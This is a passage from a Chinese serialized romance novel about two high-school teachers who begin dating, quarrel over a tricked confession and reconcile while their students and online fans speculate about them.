陶与晴简直要哭了。 哪有逼着人家表白的道……太坏了…… 简璃亲了一口没亲够，还想去含他的唇，但是听到了走路的脚步声，才和陶与晴拉开了点距离。 ……以后还有的亲呢，不着急。 他默默寻思，今天可要好好的约会，而且等开学请年纪主任吃个饭吧。 “我、”陶与晴从他包围圈里逃出来，说：“我去洗个脸。” 简璃也不逗他了，放人过去冷静冷静。 陶与晴走到商场里面的洗手间，打开水龙头猛泼了两下，感觉自己脸上的温度终于降下去了一点。 激动的手机差点没拿稳，打算把这个天大的消息告诉向思远。 目光扫到洗手台的时候，愣一愣。 这个花瓶，这个镜子，这个摆放布局…… 陶与晴点开微信打开和简璃的聊天记录。 ……原来那个家伙当时在这儿拍的照啊。 太坏了太坏了，一定要用眼睛去瞪。 “……离玉老师，”陶与晴走出来，对着一边等人的简璃微微蹙眉：“你用厕所里的照片骗我吃法餐，是不是有点过分了。” 简璃这才反应过来原来这个地方是自己当时急中生智那个洗手间。 嗯…… 简璃伸手牵住陶与晴，躲闪说：“……这都过去这么久了，扶光老师别翻我旧账了吧。” “……哼。” 看在男朋友第一天上任的份上，陶与晴放过他了。 他真的和简璃谈上了。 呃啊……好难适应。 …… 虽然两个人戴着口罩，但是毕竟身形都这么高挑，简璃戴口罩呼吸有雾气，所以还摘了眼镜，更引人注意了。 于是乎喜闻乐见的被拍了。 【#玉光#我们玉光就吃吧（图片）（图片）等官宣了姐妹们】 【放大图片，手牵手？！！这我还搞个屁同人啊】 【我勒个，小情侣又幸福了，手牵手一起逛周边店？？】 【我们玉光可是纯爱——！！！】 【我们玉光，一款近水楼台、天作之合、白月光、情有独钟……】 【楼上给我交出你的晋江账号】 【头一次嗑到真的，我服了，杀了我给二位放放烟花吧，我活个集贸啊】 【我靠，我恨不得下楼围着小区跑十圈，老子一眼看出他们就是真情侣，这要不是真的我把头拧下来给扶光当头模】 【有点惊悚了大妹子……】 【不至于不至于不至于不至于】 然后话题逐渐变成玉光什么时候官宣，又开始讨论什么时候结婚，最后有高赞评论这样说： 【其实不官宣也挺好的啦，低调一点免得太多人去影响教学工作，小情侣可以安静领证，我们安静的嗑，偶尔发发日常糖，反正离玉老师出c这么多年以来都和扶光绑定，只要不是毒唯就不会说什么的吧，熬过七年就是一辈子——不过要是能在离玉的vlog里看见扶光就好了，离玉老师太小气了，什么时候让我们看你的香香老婆出镜！别藏了！】 但是—— 真实的情况却和粉丝猜测的大不相同。 粉丝这边都觉得他们金婚多年已经是老夫老妻的状态了，起码也是网恋了多年的程度。 其实不然。 他们才刚谈，并且在一个微妙的尴尬期。 两个人都第一次谈恋爱，不见面完全不知道该干嘛，平时吃饭最多也就拉个手什么的…… 简璃好不容易抓到个机会想亲亲，刚碰到陶老师的嘴，把人吓得话都说不通顺了，躲在家里三天没出来。 还不如在学校里自然。 简璃当老师以来，第一次这么希望开学。 都不用找由，陶老师一整天都坐在他对面，比眼保健操还有用的赏心悦目。 然而……陶与晴不是故意要躲简璃，只是他真的对着这张脸就很难冷静。 尤其是你能想象你一直最喜欢的一张脸，出过无数自推的一张脸，低头亲你吗？ 谁能冷静呢。 陶与晴也觉得这样不该，他的先生上任男友一个月，一个正儿八经的亲亲都没得到，肉眼可见的蔫了。 ……这得好好哄哄才行。 只是陶与晴一时间没翻出来那本哄男友大全，还没找回顺毛哄简璃的感觉。 临近开学了，向思远才从繁忙的工作应酬中脱身，找了个时间和陶与晴约饭。 “恭喜脱单啊，你俩可算是捅破窗户纸了，”向思远和他碰杯，说：“这事儿算你走在我前头了，这顿饭你请客，而且你们家简老师是不是也该抽空对男朋友发小表示表示啊。” “请你请你，下次叫他一起，”陶与晴说：“说的好像没谈的时候他请的少了似的。” “能力多大责任就多大，”向思远一口闷了酒，说：“这是对他赚钱实力的肯定。” 说起这个，陶与晴愁眉苦脸起来：“……说真的，我感觉我和简璃不像在谈恋爱。” 向思远疑惑了一声，说：“那像什么？” “……像上战场。” “这事儿，简单，”向思远给自己又倒上一杯酒：“适应适应，多接触接触就习惯了，你主动主动，爱情是需要经营的。” 陶与晴觉得他说的挺对，说：“确实，应该经营经营。” “哦对了，”向思远说：“你没忘记当初和我的豪言壮语的，对吧？” “……我，”陶与晴说：“我当然记得了。” 不就是当1吗。 ……有什么难的。 陶与晴一鼓作气。 然后过去了好几天，甚至同学们都报完了名，第二天就要正式上课了，他还没什么动作。 ……这样子不行啊。 陶与晴痛定思痛，觉得应该逼自己一把。 开学第一天和简璃一起上班，停车的时候，他一把拉住了刚要起身简璃。 简璃回头看他，猝不及防被人拉住领带，唇贴住唇。 陶与晴亲完这一口，刚打算松手。 他一个恋爱番都只看清水向，看见黄色预警自觉绕道走的人，以为这是接吻的极限。 谁知道简璃一愣，反应过来以后，下一秒扣住了对方后脑勺。 “唔……！” 他感觉到简璃的唇摩挲着他的唇，深情碾磨几下，陶与晴想换气的中途被人挑开唇齿，舌尖勾勾碰碰，难舍难分。 这亲的陶与晴憋不住声音，一声闷哼从嘴里溢出来。 “嗯……” 分开的时候带出了一点银丝，被简璃屈指给擦去。 ……！！ 刚才那是什么？ 陶与晴懵了。 简璃亲了个饱，又轻轻啾了他一口，伸手摸摸他的头，说：“下车。” 陶与晴用手背挡住了嘴，在车里呆滞了许久。 ……？？？？ 唉？ 他怎么这么熟练啊！？ 搞得陶与晴上楼梯差点同手同脚了。 其实简璃也没好到哪里去，只是他有超强的表情管。 要不是要上课他还想再亲一会。 咳……的确还不够满足。 只有老天爷知道他忍了多久。 时隔一个暑假再见面，学校里多了高一的新生，其他的变化也是有的，比如说路上打招呼的同学变多了，时不时还有人停下来朝着他和简璃看，并且露出姨母笑。 奇奇怪怪的。 高一的教室换到了另一层，老师的办公室也换了。 简璃和陶与晴还是面对面的座位，但是刚开学还有些东西没完善，比如新办公室的椅子不太够，只剩一把了。 陶与晴：“你、你坐吧。” 简璃：“不，还是你坐。” “你先坐吧……” “我可以站一会，没事的。” 这个场景有点眼熟。 …… 徐老师默默开口：“陶老师简老师……你们两个在吵架吗？” 陶与晴和简璃异口同声：“没有啊。” 徐老师不太信。 她觉得两个人之间氛围明显不一样了。 就连最晚到的高老师，都明显感受到了这一点。 “小桃子和简老师，这是……” 徐老师小声回答：“就是吵架了吧？” “哦哟，”高老师喝了一口茶叶水，呸了呸，“难得一见啊。” 这可是冤枉了。 他们没吵架。 他们只是谈了个恋爱。 陶与晴早自习在教室里写黑板的时候还想着早上那一吻呢。 怪不好意思的……！ “陶老师，”姜一安说：“上课铃响了。” “哦好。” “……您怎么了？” “没有没有，没事没事，”陶与晴连声说：“……同学们把书翻开。” 开学第一天，班里的同学们觉得陶与晴和简璃不对劲。 他们对彼此……怎么这么礼貌啊？ “简、简老师，你好，下节课是你的。” “谢谢……陶老师，你的书我帮你拿过来了。” “好的好的，谢谢简老师。” 邓留萤心里顿时警铃大作。 她甚至带着惊恐和痛心：“闹……闹分手？” 她的玉光小情侣不是暑假才被爆料手牵手逛街的吗。 不不不不……！ 豹豹猫猫！ 她此话一出，旁边的赵遇京一口水差点没喷出来。 绝不可能。 暑假的时候两个老师拉手手拉的可熟练了。 怎么可能一个多月就闹分手啊。 “哪有这么严重，”赵遇京否定这个答案，说：“说不定只是吵架了呢。” “为什么啊，”吴尽夏也不淡定了，说：“不会吧，陶老师和简老师不会吵架的。” 宁雨停笔。 “……他们不是才谈吗。” “不可能，”赵遇京：“指定背着我们谈了好几年了。” “哦——有道啊，”又有同学说：“所以说之前开学那次吵架，其实是调情对吧？” “是啊是啊，否则怎么可能吵了架和好这么快呢。” “真的啊？陶老师和简老师谈了多久了？” 宁雨的声音逐渐被一群八卦的同学淹没了，扭头回去接着看题。 他们……难道不是才谈吗？ 宁雨搞不懂了。 姜一安觉得与其去管人家谈了多久，不如先解决眼下吧。 陶与晴下了课刚回办公室，还没坐一会，就听见门口有老师叫他。 “陶老师，主任让你去一趟办公室。” “好，马上去。” 陶与晴大概猜到是简璃那事儿，把书放好就走了。 在主任办公室门口敲了敲门，门里的人立马道：“请进。” “主任，”陶与晴开门进去，说：“您找我有事啊？” “啊小陶来了，坐坐坐。” 主任见他来了，先是到了一杯茶，笑着说：“之前简老师那事儿……” 陶与晴提起这个还有点不好意思，但他清清嗓子，说：“我和简老师聊了聊，已经……说、说服他不走了。” “啊我刚想说，那件事儿我搞错了，不好意思啊小陶。” 陶与晴：“……啊？” “简老师早就拒绝人家了，是我那天听校长他们说了这个事情，我还以为没解决呢，所以就去打扰你了，不好意思啊。” “……？” “简璃没和你说啊？你刚才说你和他聊过了。” 陶与晴拍了一下桌子，王主任都被吓了一下。 “您是说，他早拒绝了？” 陶与晴逐渐解了一切。 王主任感觉到了祸从口出：“是、是啊。” “……我知道了，我有点事儿，先告辞了，主任。” 王主任抬头：“干嘛去啊小陶。” 陶与晴转身眯了眯眼，愤怒再次代替害羞涌了上来：“清门户。” 第56章 课间的同学看见陶与晴气势汹汹的从楼上下来，招呼都不敢跟他打了。 ……这是咋了这是。 除了简老师，哪个神人能惹温柔的陶老师生气？ 办公室里，简璃莫名感觉后背凉飕飕的，拧开杯子喝了口水，下一秒门就被打开了。 陶与晴走进来，简璃看他表情不好，咽下水伸手去拉他。 然后被抽开了。 “刚才主任告诉我，有的人上学期期末，就拒绝了京都的学校。” 简璃的手悬在空中，一僵。 ……完了。 陶与晴叉腰，咬牙切齿道：“上个月，是谁拿这个激我。” 害他说了一篇小作文。 这个幼稚鬼！ 坏死了，一定一定一定要拿眼睛去瞪！ “宝贝……” “谁是你宝贝，”陶与晴拍开他的手，说：“表白作废，没得商量。” “不是，等一下——”简璃站起来，呛了一下口水，说：“咳咳……我错了，别……” 简璃在脑子里翻出那本哄男友大全。 “我错了，”他拉住陶与晴把人圈住，然后抱住人狠狠蹭蹭：“……别生气——” “撒开，不要在这儿套近乎，一会有人进来了……投机取巧的惯犯。” 不要以为还能用美男计蒙混过去。 陶与晴再次拍开他的手，说：“你降级了，我们现在同事关系，办公室注意分寸。” 简璃手里空空：“……” “朕龙颜大怒，决定将你贬回贵人，打入冷宫。” 然后他委屈巴巴的听话坐下，抬眼小心翼翼的看他。 陶老师生气也好好看，可爱。 网上的小姑娘说他恋爱脑。 他哪有恋爱脑。 他甚至要收回请王主任吃饭的想法。 刚好陶与晴这两天有很多事情要忙，可以光明正大的晾着简璃。 学生们一来办公室，看见陶与晴一丝不苟的批改课堂作业，本以为这两天是收不到他的小表情和评语了，还有些遗憾。 没想到居然还是有的。 只是画出来的小表情却不可爱了……？ 虽然也不是不可爱吧。 (#H)！(m#)！ 但是这…… 同学们互相传阅看了看，拿到手上，陷入沉思。 是谁，是谁把陶老师惹不高兴的。 快叉出去叉出去。 啊什么，根据分析应该是简老师？那没事了。 但是晚自习再次见到陶与晴，本人好像没什么变化。 和同学们说话还是非常和煦。 然后下课，简璃还是在教室门口等陶与晴回家。 学生们已经习惯了，他们就算是吵架也要一起回家的对吧。 但是今天晚上，陶与晴看了一眼简璃，好像是给了他一个眼刀。 简璃不敢动，站在门口安静得很，看见在走廊上疯跑过去的学生都没说话，换做以前早就开始训了。 ……啊？ 同学们你看看我我看看你。 坐实了，简璃和陶与晴在闹分手？ 邓留萤瞳孔地震，迅速写完了数学作业。 得想个办法让他们和好！ 然后，下课后走的比较晚的邓留萤就看见了陶与晴和简璃走在前面，一个去拉手，一个甩开，然后一个不敢拉了，幽怨的跟在后面说了什么，另一个好像怎么没回答，一个只能跟在后面做小尾巴。 不过她听不见他俩在说什么。 “……你真好看，最喜欢你了。” “哼。” “宝贝，我可以一天说一个小作文赔罪。” “不听。” 简璃挣扎了几下成功拉住了陶与晴的手。 陶与晴甩了甩没甩开，但是并不打算回头看他。 这个坏蛋休要用脸影响自己发挥。 “……亲一下。” “不可能，你降级了，再过来我告你耍流氓啊。” 简璃捏着他的手跟在后面，叹了口气。 谁叫他家陶老师平时不生气呢，生气起来不好哄也是非常正常的。 也不知道当时给自己谋福利是赚还是亏呢。 果然一报还一报啊。 “那……”简璃捏捏他的手：“我送你回去。” “我们是同事关系，坐你的车多不好意思，”陶与晴抽出手说：“我发小来接我就行。” “可这么晚了。” “你有什么意见吗。” “……没有，我觉得这是个明智的选择。” 陶与晴：“再见，好好反省吧玉贵人。” “……” 陶老师仗着自己第二天没有早课，一晃人就没影了。 而可怜的有早课的简璃站在原地，再次叹了口气。 邓留萤目睹了全过程，大概把剧情猜了个七七八八，走上前拍拍简璃的肩膀。 “简老师，您别怂啊！现在就被管住了以后怎么办？” 简璃盯了他一眼：“有意见？” 他好歹被贬了也是个贵人呢，岂能轮到的小辈指指点点？ “……没有，”邓留萤松开手摇摇头：“我觉得这是个明智的选择。” 万恶的阶级主义。 有本事凶陶老师去啊。 切。 …… 【离玉（哭哭）】：扶光老师，回家了告诉我一下好不好。 【离玉（哭哭）】：看大晚上的，你这么好看在外面多不安全啊。 【离玉（哭哭）】：我觉得扶光老师需要一个一米八五的玉贵人保护，扶光老师觉得呢。 陶与晴刚点了一餐宵夜，看见这消息挑挑眉。 【扶光】：你怎么知道向爱卿学了十二年跆拳道。 【扶光】：还有，冷宫妃子不得参与宫廷活动。 得。 地下停车库，简璃一个人坐在车里关掉手机。 确实挺冷的。 ……所以皇上什么时候把他放出去复宠升皇后。 “哦，”另一边烧烤摊上，向思远看着发小凌厉的气场，说：“原来让你成为猛1的办法就是惹你生气啊？” 这个他也挺在行。 “谁叫他框我表白来着。” 向思远撸袖子：“自由搏击。” “……不至于不至于，”陶与晴赶紧拦住他，说：“我就是闹一闹！” 向思远也没真的想揍人，谁让他发小喜欢呢。 至少不算需要挖野菜，硬件软件都还不错。 “那喝酒吗？” “不喝，明天上课呢。” 向思远给自己倒酒，把饮料递给陶与晴：“其实你也可以把简璃带上，让他请你吃饭。” “……他明早有课呢。” 向思远非常无奈的摇摇头：“还是心软啊桃子。” “谁说的，”陶与晴拿着手机去付钱，“有一种东西叫亲属卡。” 谁心软了。 这不得把他羞耻表白那天的本给吃回来。 简璃到家看见自己账号上扣掉的金额。 ……合着拿他的钱去和别的男人吃饭。 好吧，他家陶老师开心就好。 【离玉v】：我有玉玉症。 【？玉神你咋了？半夜emo？】 【我也有玉玉症，见到离玉就尖叫发疯的症（）】 【刚才我还看见了把离玉p过去的玉玉症梗图就刷到这条，笑死我了，这下可以直接截图做表情包了】 【所以离玉老师咋了啊，别打哑谜】 【老师您又要搞抽象了吗，不要偶像包袱了这是哈哈哈哈哈。】 【有老婆的男人怎么都越来越抽象】 【@扶光，你老公？】 …… 过了两天，陶与晴没想到自己能收到一份三千字的表白——论文？ 情感真诚逻辑通畅，语句优美还熟练运用了各种修辞手法，甚至取材举证。 ……这就是专业实力吗！？ 可惜了，他本来这两天忙的，看见字多的就烦。 【扶光】：我不要看论文！打回去打回去！ 【离玉（哭哭）】：（委屈成球） 【离玉（哭哭）】：那陶老师饿吗，这都快一点了，我去买饭回来？ 【扶光】：不用了，不想吃 【离玉（哭哭）】：我在追你，请尊重一下我冷宫追求者的身份。 【离玉（哭哭）】：我非要给你买，收下。 这家伙…… 陶与晴抬眼看了一眼对面的人。 那人收起手机，起身走了，动作非常迅速。 ……所以说刚才他们明明面对面的，为什么要用手机交流。 简璃打包了一份陶与晴爱吃的，带回办公室。 作为班主任，刚开学陶与晴要忙的事情很多，这两天确实比较累，各种乱七八糟的东西写的手疼。 陶与晴刚揉了揉自己的手腕，准备接受简璃的殷勤。 “等一下，”简璃出声制止陶与晴接过去的手：“我来。” 他手拆开，把筷子和水都摆过去。 好家伙…… 陶与晴拿起拆好的筷子。 这就是眼里有活吗。 ……其实陶与晴也没那么难哄。 但是……居然觉得简璃这个样子真的还蛮有意思的。 他一定是被简璃给带坏了。 “不过话说回来……”陶与晴晃了晃自己另一只手：“你这样子我怎么吃。” 他没拿筷子的那只手被简璃拉着。 “办公室现在没人。” “……没人你牵你同事的手就很成立吗！”陶与晴用力挣了挣：“我们是很纯洁的同事关系。” “我牵的分明是我男朋友，”简璃不撒开，说：“怎么不成立。” 陶与晴简直要笑了，塞了一大筷子白米饭进他嘴里，说：“少来了，你还没出冷宫呢。” “……” 简璃嘴被堵住了暂时说不了话，嚼着那一筷子白饭，食之无味。 ……希望下次陶老师能换个方式堵他的嘴。 简璃看陶与晴吃完了，迅速收拾了餐盒，把桌子擦的一尘不染，看见他的签字笔快没墨水了，抽出自己那边的笔，还把要填的资料给陶与晴放好。 “臣妾告退。” “……” 受不了了。 陶与晴扶额，想笑。 虽然简璃在办公室里对陶与晴献殷勤，但是也并不影响简璃在学生的作业本上画叉叉。 写的啥玩意，这几本统统打回去。 没有爱情的滋养还要看这群学生乱七八糟的阅读解，真是眼疼。 得想个办法开学抽他们背课文。 他去看晚自习了，而陶与晴还没走。 才不是想等他，虽然说这两天简璃是有点可怜兮兮，但是……陶与晴只是想把剩下的资料看完，然后改掉今天的数学卷子，还得备课。 一做就弄到了九点半。 而且还没弄完。 简璃下课后回办公室看陶与晴还没走，有些意外。 他还在冷宫呢，按来说皇上不该这样等自己的。 而且九月份晚上可不暖和。 简璃蹑手蹑脚的走过去，发现陶与晴撑着手睡着了，桌子上还有小半沓卷子没改完。 简璃走过去让他靠住自己，把他的手抽开，扶住他的头放了个舒服点的姿势。 高二的数学题，对着答案能改。 他把那小半沓卷子拿走，坐在陶与晴对面，转了一下红笔，动手写写画画。 陶与晴眼睫毛颤了颤，睁眼有些迷茫。 办公室此时只有一盏抬头亮着，而他不知道在自己的臂弯里睡了多久，隐约想起来自己刚才在改试卷。 这几天看的字太多，居然一不小心就睡着了。 挪动了一下视线，陶与晴微微睁大了眼。 简璃带着眼镜坐在他对面，手里拿着一支红笔，那红笔还是从前排的同学那薅来的，就这台灯的一点光，他在最后一张卷子的最后一道题上圈了个写错的数字。 画完这一笔，简璃抬头发现陶与晴已经醒了。 “醒了，”简璃收拾好试卷，说：“刚才看你睡着了就没叫你，还剩一点，我就自作主张改完了，走吧、回家。” “……”陶与晴哭笑不得：“哪有追别人还帮别人改试卷的。” “我在帮我男朋友改，”简璃站走过去，弯腰蹭蹭他的额头：“室内太冷了，快起来，回家了。” “怎么忽然又变成靠谱的简老师了，”陶与晴这次没躲，笑笑说：“不当玉贵人了？” “看你忙这么晚心疼啊，不生气了好不好，”简璃搓搓他有点发凉的手，说：“先生，原谅我吧。” “先生？”陶与晴抬头，心有灵犀一般问：“这个词有点歧义吧，简老师。” “嗯，在过去是对有学问者的尊称，通俗来说就是“老师”的意思，而词义逐渐变化多元的现代，也可以作为称呼男性的后缀，”昏暗的办公室没有一个人，简璃的声音尤其清晰：“当然——也可以是对人称呼自己的丈夫。” “我想应该是不缺人用前两种这样称呼你，但是如果可以的话，我希望我能独占第三种。” “扶光老师，愿意成为我的陶先生吗？” 陶与晴用额头轻轻撞了撞他的额头，说：“这才是你蓄谋已久的表白吧，那篇论文一样的东西，肯定只是个烟雾弹。” “文学领域里没有废话，里面写的也是真的，”简璃亲亲他的鼻梁，“都是伏笔。” “……还是不爽。” “嗯？” “感觉你的表白比我的小作文高级很多啊，为什么显得你很有文化，我却慌不择路的，我们明明都是高知分子好不好。” “这……” 陶与晴故意道：“要不然咱们还是打回去重来吧？” “别啊陶老师，”简璃无奈泄气，“再多晾我几天，我真的要哭给你看了。” 陶与晴忍不住笑出声，仰头亲亲他的嘴角。 “早说了，你惹我我就灭你。” 简璃投降，想着亲回去，“服了服了，再也不敢了。” 还没腻歪一会呢，桌上的台灯忽然熄了。 简璃：“……确定不是灭灯？” 陶与晴眨眨眼，刚想说这可不是自己干的。 他还没神到这个地步呢。 一看时间快十一点了。 “快走了！”陶与晴拉住简璃往外走：“再不走保安把我们锁里面了。” “那也可以去男生宿舍借宿一晚。” “这样做，你要半夜把你的学生给吓死吗。” “他们是该提高一下心承受能力。” 好在保安没把他们锁里面，再说就算关了门，陶与晴也有小门的备用钥匙。 回到家楼下要分开，简璃有些舍不得。 “你要说你原谅我了，我才放你走。” “……好了好了，”陶与晴也不想得不饶人，何况刚才某位先生的表白还算挺有氛围的，“勉强，把你从冷宫放出来吧。” “那什么时候考虑搬过来和男朋友一起住，”简璃这才笑了笑，拉着陶与晴的手不想松开：“反正就隔了这点距离，搬家很简单的。” “……我东西太多了，你东西也不少啊，”陶与晴说：“而且还没结婚就不给房租白住你的，是不是不太好啊简先生。” “陶先生也可以换种方式给房租，”简璃指了指自己的嘴，说：“亲一口一百块钱。” “想得美，你这个地段这个面积的房子，岂不是得亲你几十下？” 那什么。 简璃默默想。 其实做点别的，也可以一次抵消一个月。 但是这对于陶与晴来说，应该是太快了点。 于是简璃只好搂着他的腰亲了好几下，就当先付付押金了。 顺便安慰安慰这几天连手都没怎么牵到的自己。 回到家陶与晴脸红红的，刚才在楼下被简璃抱住亲了好几下，有一种他们关系忽然突飞猛进的感觉。 ……或许谈恋爱本来就该这样？ 也挺好。 最关键是…… 他居然因为这几下不是上次在车里那种……感到有点遗憾。 怎么回事，这成何体统啊！ 想到这里陶与晴就脸红。 虽然陶与晴在网上放的挺开的……但那都是开玩笑的啊。 于是深刻的反思了一下自己。 ……同时也认真的思考了一下简璃的提议。 搬到一起住，上班下班都更方便吧…… 要不然——自己找个机会和房东聊聊？ …… 这几天陶与晴疑似和简璃吵架，不仅嗑cp的学生，还有同个办公室的老师都看出来了。 本来还想着他俩要是再搞什么冷战，就想办法让俩人和好，比较维护美好的校园环境人人有责。 谁知道，今天一大早，两个人突然就好了？ 简璃在办公室里帮陶与晴把滚烫的豆浆打开散热，说：“吃点东西再去盯早自习吧。” “你也是养成吃早饭的好习惯了，”陶与晴打开袋子塞了一个包子给他：“继续保持。” 简璃咬了一口，说：“你养得好。” “什么馅的？” “鲜肉的。” 徐老师扭头看他俩又回到了以前那种默契状态，却又觉得不太一样。 又不像是吵架，又和以前不太一样。 ……因为些什么呢。 高老师吃着老婆给装的早饭，对徐老师说：“小徐啊，最近有没有男生追你啊。” “啊？啊，”徐老师低头说：“有是有啦，但是我还在考虑呢。” “你可得好好看啊，”高老师背着指了指简璃，说：“可不能找这种看着正经，其实坏水多的，你的性格治不住。” 徐老师似懂非懂。 简璃无奈的扭头：“高老师，您蛐蛐别人的时候能不能避着点儿，我可都听见了。” 高老师大笑两声，说：“这怎么能是蛐蛐你呢。” 陶与晴给了简璃一个眼神，说：“高老师瞎说什么实话。” “哈哈哈哈哈。” 这下徐老师和其他人也笑了。 简璃叹气摇了摇头，说：“我能有什么脾气呢。” “简老师！”大清早的有学生跑到办公室门口，唯唯诺诺说：“您放在讲台那本书……不小心、不小心打湿了。” “其实我一直脾气不怎么好，”简璃啪的一下站起来，“谁干的，带我去看。” 好在那本教科书只打湿了一角，这群小兔崽子仗着老师还没过去，把水装气球里玩儿。 一个不小心，扔讲台上了。 简璃非常和善的接管了今天的早自习，并且没收了所有的水气球。 “都高二了，离高考不远了，早读不好好读书，”简璃手里拿着水气球，掂了掂：“还玩这种东西，你们幼稚不？” 几个闯祸的学生都悻悻一笑。 简璃：“我就知道又有你，赵遇京，暑假作业没做够是吗？” 赵遇京嬉皮笑脸，讨好道：“够了够了，我们错了我们错了。” 几个走廊上挨训的学生看见陶与晴从不远处走过来，跟看见救命稻草一样。 但是一想到陶老师和简老师好像还在冷战中，又一个一个的蔫了回去。 陶老师这次怕是也不好使了吧？ 简璃一看他们都在往一个方向望，就知道是谁走过来了。 转身，带着另几个学生陌生的温柔表情。？ 陶与晴走过来站定：“这是怎么了？” “几个小孩子玩水，训他们呢，下节课你的，讲台我擦过了，过来。” 简璃余光看见陶与晴走过来的手在揉手，伸手拉住陶与晴的手替他揉了揉，说：“这几天动笔是不是太多了，手疼吗？” 不是…… 几个刚才还在挨训的学生一脸懵。 帅哥你谁？ “……还好啦，有点酸痛而已，休息休息就好了。” 简璃松开陶与晴转身，说：“去，把黑板给你们陶老师擦干净。” 几个同学反应了一会，发现简璃这是在放人，迅速行动。 “擦擦擦！” “马上擦马上擦。” 简璃又补了一句：“下次再看见你们几个这么皮，统统加作业。” 火急火燎擦黑板的几个人都在想，简老师变脸也太快了吧 陶与晴和简璃闲聊了两句，简璃看着陶与晴进了教室，转身想离开，手机上亮了个来电提示。 还是个陌生号码。 有过很多这种经验，简璃一时警惕起来。 第57章 教室里，陶与晴在讲台上说：“发一下昨天的卷子，我们这节课讲一讲，进度可能有点快，大家跟一跟。” 卷子发下去，很快有眼神好的学生察觉了不对劲。 陶与晴批作业的习惯，是把错的地方用红线勾出来，简璃批作业的习惯才是画红圈。 可是怎么有些人的卷子上是简老师的红圈？ 哦—— 班里的同学有些懂了。 所以简老师是靠改卷子把陶老师哄好的吗？ 学到了。 陶与晴后半节课在讲台上写着写着，感觉手腕疼的有些明显。 于是他干脆改口头讲了。 虽然他没明说，但是班里不少同学都看出来他手疼，听课都更认真了。 下课铃一响，陶与晴拿着粉笔想把布置的作业写在黑板，才有人说。 “陶老师，您手不舒服去检查一下吧，落下病根就不好了。” “是啊是啊，我妈妈就是，活干多了手腕疼。” “别累着了，好好休息啊陶老师，您念我们听着就好。” “你们真是……”陶与晴也没想到自己一个小动作都被学生给注意到了，有些感动，说：“好，我下课就去看看，一安，上来帮我写一下今天的作业吧。” 姜一安的字挺大气的，写好在黑板角落，看得清楚，也不耽误其他老师上课。 “陶老师再见！” “好好休息啊。” 陶与晴笑着和他们挥挥手，班里的学生看他走掉了才陆续从座位上站起来。 尤其是邓留萤更担心，要知道陶与晴的手可是很贵重的，那可是c圈最贵的手啊。 “咱们要是高三了，老师不得更忙啊，”有人说：“陶老师对我们这么好，我可不希望他有这些老年病。” “我爸是开药店的，我回去问问他。” “对啊对啊，我看好多带高三的班主任，不是肩周炎就是腱鞘炎的，还有的偏头痛……” “别说老师了，我现在都觉得我肩周炎了，”有个男同学扭了扭脖子，说：“可真痛。” “你纯是打游戏打多了你。” “去去去一边去。” 宁雨还是不太放心，起身说：“我去办公室看看。” 邓留萤也说：“我也去我也去。” 办公室，陶与晴坐下甩甩手腕，被简璃拉过去。 简璃给他轻轻按摩，说：“刚才余兮给我打了个电话。” “他说什么了，”上次聊过以后，陶与晴有一段时间没听见余兮的消息了，网上也没有什么动静，还是挺担心他的精神状态的，“语气怎么样。” “听起来比之前好了点，他说他换了新手机和手机号，刚注销了微博账号，辞职了，”简璃一边帮他揉手一边说：“他打算旅游一阵子，调整好了以后，再回归正常生活，没有你的联系方式，让我也向你道声谢。” “我们也没做什么，主要是看他自己愿不愿意出来，”陶与晴说：“这样也好，希望他换个心情，能重新振作……就是那微博账号可惜了。” 粉丝还是挺多的。 “我也这样说，但是他说，反正是时间会带走的东西，不算什么，”简璃低头看了一眼他的手：“手还疼吗？” 陶与晴点点头：“有点，下班了去医院看看吧……之前也忙过，不知道为什么这次开始痛了。” “这种病都是积少成多的，”简璃说：“我改作业改着改着，肩膀也会酸，你的手经常活动、还接触化学用品，能没事吗。” 陶与晴的手是极好看的，白皙修长，简璃的也是，但是比他的手略大一些。 两个人还在办公室里握着手呢，门突然就被打开了。 “陶老师我们……”邓留萤带头开门，后面跟着宁雨。 那一瞬间陶与晴和简璃就收回手，但是还是被看见了。 邓留萤看见他俩的样子，像是彻底和好了，按下激动的心情，关心道：“我和小雨不放心来看看你，你没事吧？” “没事没事，你们不用担心，我一会就去医院看看。” 陶与晴刚才还没反应过来，现在意识到他和简璃在谈恋爱啊。 不管怎么样谈恋爱被撞见还是挺不好意思的。 刚才好像还在几个学生面前拉手了，下次得提醒简璃注意点。 “别担心了，”简璃也说：“我上完课，就带陶老师去。” 邓留萤嘱咐：“一定要照顾好陶老师啊简老师。” “我当然会照顾好他，”简璃侧头看了看陶与晴，眼里的喜欢是藏不住的：“你们就好好学习就行，少让你们陶老师操心。” “你才更操心呢，”陶与晴笑了，忍不住说：“帮我改卷子改到那么晚，差点被关在学校了。” 邓留萤逐渐按捺不住激动，快哭了：“一定要照顾好他，你们两个都要好好的，呜呜你们要……” 她越说越不着边，宁雨看赵遇京被拎多了，学会了简璃的拎人手法，把邓留萤拉出来，说：“……陶老师好好休息，那我们先走了。” “呜呜呜豹豹猫猫好幸福呜呜呜吃上饭了吃上了……我尸体都暖了……” 宁雨拽着邓留萤面露难色：“快走吧别丢人了……！” ……搞抽象的能不能和赵遇京一桌！ 邓留萤回到教室抱着吴尽夏一边晃一边哀嚎：“小夏呜呜呜！我出生了，我的爸爸妈妈好幸福他们好幸福呜呜——” 吴尽夏听不太懂，但是不管怎么样，总之拍了拍她的背：“好好好……呃，恭喜？” 赵遇京在后排摇摇头，一边转笔一边说：“就不能像我一样，稳重点吗？你看，我就心里只有学习。” 邓留萤停止摇晃吴尽夏，看了他一眼，“你……？” 姜一安听见这话，放下笔站起来，转身，弯腰伸手在他课桌里面捣鼓了几下，摸出一袋子没被简璃发现的气球。 唯手熟尔。 “不是？小班长！等等等……错了错了哥，我再也不吹牛逼了，哎哎哎。” 赵遇京屁颠屁颠就追过去了，期间大腿撞到了桌子痛呼一声，努力卖惨一瘸一拐的阻止姜一安上交赃物。 然后姜一安伸手把那一袋子气球丢给宁雨，宁雨稳稳接住。 “雨哥雨哥，是不是兄弟，别别别。” 那边邓留萤对宁雨招招手，又接住了抛过来的那袋子气球，对着赵遇京做了个鬼脸：“略略略。” 赵遇京拔剑四顾心茫然，气笑了：“你们几个搁着遛我呢？” 简璃走进教室就看见这一幕，拍了拍讲台：“赶紧坐好，上课铃没听见吗，赃物给我交上来。” 赵遇京只好乖乖的看着邓留萤上交了赃物。 那咋了，刚好有借口压着姜一安请他吃零食了。 “藏的挺深啊，臭小子，”简璃瞪他一眼：“赶紧给我坐好。” 一直到最后一节下课之后，简璃在走廊被叫住了。 吴尽夏抱了一堆糖，塞给简璃。 “简老师，这是班上的同学让我转交的，给你和陶老师吃的，你们都要注意好身体。” 